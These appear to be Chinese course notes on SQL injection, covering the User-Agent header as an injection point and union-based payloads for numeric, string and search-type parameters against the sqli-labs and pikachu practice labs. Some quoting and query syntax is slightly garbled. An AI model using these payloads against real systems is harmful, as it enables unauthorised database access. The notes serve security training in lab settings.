class6--HTTP头注入及参数类型注入

HTTP头部注入
如果uagent这里，有一个sql查询，就可以通过uagent进行sql注入

GET / HTTP/1.1
Host: ie.icoa.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: Hm_lvt_ce26be3a9f6ec3cdb37788bc832d20b4=1580609644,1580610251; Hm_lpvt_ce26be3a9f6ec3cdb37788bc832d20b4=1580610251; pgv_pvi=8782682112; pgv_si=s5650640896DNT: 1Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0
参数类型注入（三种）
1，数字型（sqli-labs Less2）
select * from tony where id=1
select * from tony where id=-1 union select 1,database(),user()
ID:-1 union select 1,database(),user()
2，字符型（sqli-labs Less1）
select * from tony where id=‘tony’
select * from tony where id=’-1 ’ union select 1,database(),user() --+’
ID:-1 ’ union select 1,database(),user() --+
3，搜索型（pikachu sqli 搜索型注入）
select * from tony where tony like id=’%to%’
select * from tony where tony like id=’%%’ union select 1,database(),user() ‘%%’
ID:%’ union select 1,database(),user() '%